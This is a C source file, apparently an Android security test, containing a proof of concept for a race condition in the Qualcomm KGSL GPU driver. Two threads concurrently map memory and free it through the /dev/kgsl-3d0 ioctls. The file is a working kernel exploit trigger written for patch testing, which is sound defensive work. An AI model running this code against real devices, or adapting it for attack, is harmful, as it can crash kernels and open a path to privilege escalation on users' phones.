blob: b272328de9d5b17337c89bd1ed7ec0278cfeee30 [file] [log] [blame]
/**
* Copyright (C) 2018 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
/* ioctls */
#define KGSL_IOC_TYPE 0x09
enum kgsl_user_mem_type {
KGSL_USER_MEM_TYPE_PMEM = 0x00000000,
KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001,
KGSL_USER_MEM_TYPE_ADDR = 0x00000002,
KGSL_USER_MEM_TYPE_ION = 0x00000003,
KGSL_USER_MEM_TYPE_MAX = 0x00000007,
};
/*
* Unfortunately, enum kgsl_user_mem_type starts at 0 which does not
* leave a good value for allocated memory. In the flags we use
* 0 to indicate allocated memory and thus need to add 1 to the enum
* values.
*/
#define KGSL_USERMEM_FLAG(x) (((x) + 1) << KGSL_MEMFLAGS_USERMEM_SHIFT)
#define KGSL_MEMFLAGS_NOT_USERMEM 0
#define KGSL_MEMFLAGS_USERMEM_PMEM KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_PMEM)
#define KGSL_MEMFLAGS_USERMEM_ASHMEM \
KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ASHMEM)
#define KGSL_MEMFLAGS_USERMEM_ADDR KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ADDR)
#define KGSL_MEMFLAGS_USERMEM_ION KGSL_USERMEM_FLAG(KGSL_USER_MEM_TYPE_ION)
/* add a block of pmem, fb, ashmem or user allocated address
* into the GPU address space */
struct kgsl_map_user_mem {
int fd;
unsigned long gpuaddr; /*output param */
size_t len;
size_t offset;
unsigned long hostptr; /*input param */
enum kgsl_user_mem_type memtype;
unsigned int flags;
};
#define IOCTL_KGSL_MAP_USER_MEM \
_IOWR(KGSL_IOC_TYPE, 0x15, struct kgsl_map_user_mem)
/* remove memory from the GPU's address space */
struct kgsl_sharedmem_free {
unsigned long gpuaddr;
};
#define IOCTL_KGSL_SHAREDMEM_FREE \
_IOW(KGSL_IOC_TYPE, 0x21, struct kgsl_sharedmem_free)
#define KGSL_MEMFLAGS_USERMEM_MASK 0x000000e0
#define KGSL_MEMFLAGS_USERMEM_SHIFT 5
#define TRUE 1
struct kgsl_map_user_mem allocArg;
struct kgsl_sharedmem_free freeArg;
int fd;
int thread_exit = 1;
void *alloc_thread(void*);
void *free_thread(void*);
void kgsl_poc(void);
void *alloc_thread() {
while (thread_exit) {
allocArg.fd = -1;
allocArg.gpuaddr = 0x0;
allocArg.len = 4096;
allocArg.offset = 0;
allocArg.hostptr = (unsigned long)malloc(allocArg.len);
allocArg.memtype = KGSL_USER_MEM_TYPE_ADDR;
allocArg.flags = KGSL_MEMFLAGS_USERMEM_ADDR;
int ret = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &allocArg);
if (ret < 0) {
printf("Error on IOCTL_KGSL_MAP_USER_MEM - Errno %d (%s)\n", errno,
strerror(errno));
return NULL;
} else if (!allocArg.gpuaddr) {
allocArg.gpuaddr = allocArg.hostptr;
}
volatile unsigned long *pGPU = &allocArg.gpuaddr;
while (*pGPU) {
if (thread_exit)
break;
}
free((void *)allocArg.hostptr);
}
return NULL;
}
void *free_thread() {
volatile unsigned long *pGPU = &allocArg.gpuaddr;
freeArg.gpuaddr = 0x0;
while (!freeArg.gpuaddr) {
freeArg.gpuaddr = *pGPU;
}
while (thread_exit) {
ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &freeArg);
*pGPU = 0x0;
}
return NULL;
}
void kgsl_poc() {
pthread_t allocTid, freeTid;
fd = open("/dev/kgsl-3d0", 0);
if (fd < 0) {
printf("Unable to open /dev/kgsl-3d0 - Errno %d (%s)\n", errno,
strerror(errno));
exit(-1);
}
pthread_create(&allocTid, NULL, alloc_thread, NULL);
pthread_create(&freeTid, NULL, free_thread, NULL);
pthread_join(allocTid, NULL);
pthread_join(freeTid, NULL);
}
int main() {
kgsl_poc();
return 0;
}